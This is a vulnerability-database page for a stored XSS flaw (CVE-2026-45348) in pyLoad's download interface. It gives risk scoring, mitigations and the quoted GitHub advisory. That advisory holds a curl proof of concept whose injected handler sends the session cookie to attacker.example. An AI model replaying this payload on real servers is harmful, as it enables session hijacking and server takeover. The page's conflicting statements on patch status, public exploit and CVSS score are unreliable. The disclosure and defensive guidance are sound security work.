Skip to main content

pyLoad CVE-2026-45348

| EUVDEUVD-2026-32957 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-05-14 https://github.com/pyload/pyload GHSA-fcjq-435v-jx94
8.7
CVSS 3.1 · GitHub Advisory
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Authenticate with Perms.ADD credentials
  2. Delivery
    POST malicious link URL with quote-escaped event handler to /api/add_package
  3. Exploit
    Victim administrator navigates to /collector or /queue
  4. Install
    Browser renders unescaped template literal
  5. C2
    Inline event handler executes
  6. Execute
    Exfiltrate session cookie to attacker-controlled server
  7. Impact
    Replay admin session
  8. Step 8
    Upload malicious plugin or modify reconnect-script
  9. Step 9
    Execute arbitrary code on pyLoad server

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Attacker must hold an authenticated session with Perms.ADD role (standard operator permission in pyLoad). Exploitation occurs when any other user (typically an administrator) visits the /collector or /queue pages where package lists are rendered. Victim interaction is passive-simply navigating to these core workflow pages triggers payload execution; no clicking or form submission required beyond normal interface use. The vulnerability exists in the modern theme specifically; legacy themes may not be affected. ClickNLoad feature must be enabled for the unauthenticated attack vector via POST /flash/add. No special network conditions or non-default configurations beyond theme selection. The injected payload persists in the database, so exploitation is not limited to a single session-every subsequent visit by any user to the affected pages re-triggers the XSS until the malicious package is deleted.

Impact

Real-world risk is HIGH despite requiring user interaction (UI:R), because the affected pages (/collector and /queue) represent core workflow destinations that operators visit continuously during normal operations. The CVSS 8.7 score appropriately reflects Scope Changed (S:C), as compromise of an administrator session grants access to privileged functions outside the vulnerability's immediate context - specifically plugin upload and reconnect-script features that enable server-side code execution. The attack complexity is genuinely low (AC:L): authentication requires only the Perms.ADD role, which is standard for operator accounts rather than restricted to administrators. The stored nature creates persistence across reboots without requiring the attacker to maintain presence. The secondary unauthenticated vector via /flash/add when ClickNLoad is enabled escalates risk substantially (would be CVSS AV:N/AC:L/PR:N), though this depends on a non-default feature being active. EPSS data is not available for this 2026 CVE. No CISA KEV listing exists. Patch availability is concerning: the GitHub advisory shows 'fixed in: None', indicating no vendor-released patch identified at time of analysis despite the detailed technical disclosure. This creates immediate exposure for all pyLoad instances with the modern theme. Priority is HIGH for organizations running pyLoad with multiple operator accounts or exposed ClickNLoad endpoints. Exploitation automation is straightforward given the published curl-based proof-of-concept.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 14, 2026

Stored cross-site scripting (XSS) in pyLoad's download management interface allows authenticated users with add-package permissions to inject JavaScript that executes in administrators' browsers when viewing the /collector or /queue pages. The vulnerability stems from unescaped template literal interpolation in packages.js that directly writes attacker-controlled link URLs to the DOM via jQuery .html(). Exploitation requires low-privilege authentication (Perms.ADD role) but enables full session hijacking against administrators, leading to plugin upload, configuration tampering, and potential remote code execution through reconnect-script features. A secondary unauthenticated attack vector exists when the ClickNLoad handler is enabled via POST /flash/add. No public exploit identified at time of analysis, though detailed proof-of-concept is published in the GitHub advisory.

RemediationAI

No vendor-released patch is confirmed per available data (GitHub advisory shows fixed version: None). Organizations must implement compensating controls immediately. Primary mitigation: deploy a strict Content-Security-Policy header via reverse proxy or application configuration: 'default-src self; script-src self; object-src none; base-uri self; frame-ancestors self; require-trusted-types-for script'. This prevents inline event handlers from executing. Add the header in your web server or reverse proxy configuration (nginx add_header, Apache Header set). Trade-off: may break legitimate inline scripts if any exist outside the vulnerable template; test in report-only mode first. Secondary control: restrict /api/add_package endpoint to administrator accounts only by modifying src/pyload/webui/app/blueprints/api_blueprint.py to require elevated permissions beyond Perms.ADD. Trade-off: operators lose package submission capability; unsuitable for multi-user workflows. If ClickNLoad is enabled, disable it via config/pyload.cfg or firewall /flash/add at the network layer. For instances requiring ClickNLoad, restrict access via IP allowlist. Input validation: patch packages.js locally by replacing $(div).html(html) with DOM construction using jQuery .text() and .attr() methods as shown in the advisory's recommended fix section. Monitor for upstream patch release at https://github.com/pyload/pyload and https://github.com/advisories/GHSA-fcjq-435v-jx94. All mitigations should be considered temporary pending official vendor patch.

Affected VersionsENISA

pyload < 0.5.0b3.dev100

Affected Packages

pypi pyload-ng no fix
euvd pyload fix: 0.5.0b3.dev100

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in pyLoad's modern theme JavaScript template at src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188. The code constructs HTML using ES6 template literals that interpolate eight stored database fields (link.url, link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) directly into single-quoted HTML attributes without escaping, then injects the result into the DOM using jQuery's .html() method. The backend API endpoint /api/get_package_data returns these values exactly as stored by /api/add_package (src/pyload/core/api/__init__.py:541-600), which applies URL sanitization only to folder names, not link URLs themselves. The application sets security headers via src/pyload/webui/app/__init__.py:63-72 but lacks a Content-Security-Policy, allowing inline event handlers. CWE-79 (Improper Neutralization of Input During Web Page Generation) manifests through template injection rather than traditional reflected XSS, creating a stored XSS condition. The CPE identifier pkg:pip/pyload-ng confirms this is the Python package distributed via PyPI, affecting versions through 0.5.0b3.dev99.

Know when the next one hits your stack

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 8.7 HIGH
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

2
Patch available
May 28, 2026 - 20:02 EUVD
CVE Published
May 14, 2026 - 20:23 nvd
HIGH 8.7

DescriptionGitHub Advisory

Summary

The packages.js template at src/pyload/webui/app/themes/modern/templates/js/packages.js:172 interpolates a stored link URL into a template literal inside single-quoted HTML and then writes the result to the DOM via $(div).html(html). No escaping runs between the API value and innerHTML. An attacker (Alice) who can submit a package link puts a single quote plus event handler into the URL, breaks out of the attribute, and executes JavaScript in every operator's browser that opens the downloads view. The theme does not set a Content Security Policy that restricts inline script or event handlers.

Details

Sink: src/pyload/webui/app/themes/modern/templates/js/packages.js:165-188:

javascript
const html = `
    <span class='child_status'>
      <span style='margin-right: 2px;color: #337ab7;' class='${link.icon}'></span>
    </span>
    <span style='font-size: 16px; font-weight: bold;'>
      <a onclick='return false' href='${link.url}'>${link.name}</a>
    </span><br/>
    <div class='child_secrow' ...>
      <span class='child_status' ...>${link.statusmsg}</span>&nbsp;${link.error}&nbsp;
      <span class='child_status' ...>${link.format_size}</span>
      <span class='child_status' ...> ${link.plugin}</span>...
    </div>`;

const div = document.createElement("div");
$(div).attr("id", `file_${link.id}`);
$(div).css("padding-left", "30px");
$(div).css("cursor", "grab");
$(div).addClass("child");
$(div).html(html);

link.url flows in from /api/get_package_data, which returns the URL exactly as stored. Seven other fields on the same element (link.name, link.statusmsg, link.error, link.format_size, link.plugin, link.icon, link.id) share the same unescaped injection surface.

Source: src/pyload/core/api/__init__.py:541-600 (add_package) and the /api/add_package JSON route store the attacker-supplied links list without HTML escaping. The add_package URL sanitizer only strips http://, https://, ../, ..\\, :, and / from the folder *name*, not the link URL itself.

Mitigation gap: src/pyload/webui/app/__init__.py:63-72 sets security headers but has no Content-Security-Policy header. The only script-related header is X-XSS-Protection, which is a no-op on modern browsers.

Proof of Concept

Actor: Alice (authenticated user with Perms.ADD). Reproduces against pyload 0.5.0-dev at f081a16.

bash
TARGET="http://<pyload-host>:<port>"
# Alice logs in.
CSRF=$(curl -sS -c /tmp/alice.jar "$TARGET/login" | grep -oP 'name="csrf_token" value="\K[^"]+')
curl -sS -b /tmp/alice.jar -c /tmp/alice.jar -X POST "$TARGET/login" \
    -d "csrf_token=$CSRF&do=login&username=alice&password=alice123" -o /dev/null
API_CSRF=$(curl -sS -b /tmp/alice.jar "$TARGET/" | grep -oP 'name="csrf-token" content="\K[^"]+')
# Alice creates a package whose link URL breaks out of the href attribute
# and installs an onmouseover payload.
curl -sS -b /tmp/alice.jar -X POST "$TARGET/api/add_package" \
    -H "X-CSRFToken: $API_CSRF" -H "Content-Type: application/json" \
    -d $'{"name":"xss-pkg","links":["http://x\' onmouseover=\'fetch(`//attacker.example/`+document.cookie)"]}'

The package lands in the collector (the default destination). Alice can also pass "dest":1 to place it in the queue instead. Both /collector and /queue render the same packages.html template, which loads packages.js.

When any user (including the admin pyload) opens /collector or /queue and hovers the injected file row, the browser parses the anchor as:

html
<a onclick='return false' href='http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)'>http://x' onmouseover='fetch(`//attacker.example/`+document.cookie)</a>

The onmouseover handler fires on hover and exfiltrates the session cookie. A javascript: URL in the href triggers on click without hover.

Impact

Any user who can reach /api/add_package (which covers the Perms.ADD role, the common baseline for operator users) plants JavaScript that runs in an admin's browser the next time that admin opens the downloads view. The admin's session cookie is in the same origin, so Alice receives it directly. Holding the admin cookie, Alice hits every admin-only endpoint: arbitrary plugin upload, configuration rewrite, reconnect-script RCE, and so on. The attack is stored, persists across reboots, and does not require any interaction from the victim beyond visiting /collector or /queue, the two pages operators use constantly.

The CNL Blueprint exposes a sibling attack surface: when pyload runs with the ClickNLoad handler enabled, an unauthenticated network attacker calls POST /flash/add with the same injected URL and reaches the same sink without logging in.

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N (High, 8.3). CWE-79.

Recommended Fix

Two changes.

First, escape every ${link.*} interpolation in the template. jQuery's .text() escapes by default; structure the render so attacker-controlled strings never reach .html():

javascript
const a = $("<a/>").attr("href", link.url).text(link.name);
const status = $("<span/>").text(link.statusmsg);
// ... build the DOM with .text() / .attr() calls ...
$(div).append(a).append(status);

If keeping the template-literal style, at minimum wrap every ${link.*} in a helper that HTML-escapes:

javascript
const esc = (s) => String(s).replace(/&/g, "&amp;").replace(/</g, "&lt;")
    .replace(/>/g, "&gt;").replace(/"/g, "&quot;").replace(/'/g, "&#39;");

Second, deploy a strict CSP. default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; frame-ancestors 'self' kills the inline-handler class entirely, and pyload's own assets already load from 'self'.

Audit the sibling templates (queue.js, dashboard.js, all admin themes) for the same pattern.

--- *Found by aisafe.io*

Executive ViewAI

Why It Matters

CVE-2026-45348 is a stored cross-site scripting vulnerability in pyLoad that allows low-privilege authenticated users to inject malicious scripts into the download management interface, which execute when administrators view affected pages. This enables attackers to hijack administrator sessions and execute arbitrary code, potentially compromising the entire pyLoad installation and any systems it manages.

Business Impact: High
Compensating Controls

No vendor-released patch identified at time of analysis. Interim mitigations: (1) Disable ClickNLoad handler to eliminate unauthenticated vector; (2) Restrict ADD_PACKAGE role to administrators only; (3) Implement network-level Content Security Policy headers blocking inline script execution; (4) Enforce administrator access to /collector and /queue pages via reverse proxy authentication; (5) Monitor pyLoad logs for suspicious package submissions; (6) Isolate pyLoad instances with restricted outbound access.

Threat Intelligence Overview

EPSS Score
0.0%
Top 90% exploitable
Threat Intel
1
1 source
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.0%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact
High

Priority Score

44
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +44
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

Cross-Site Request Forgery exploits the automatic credential inclusion behavior of web browsers.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy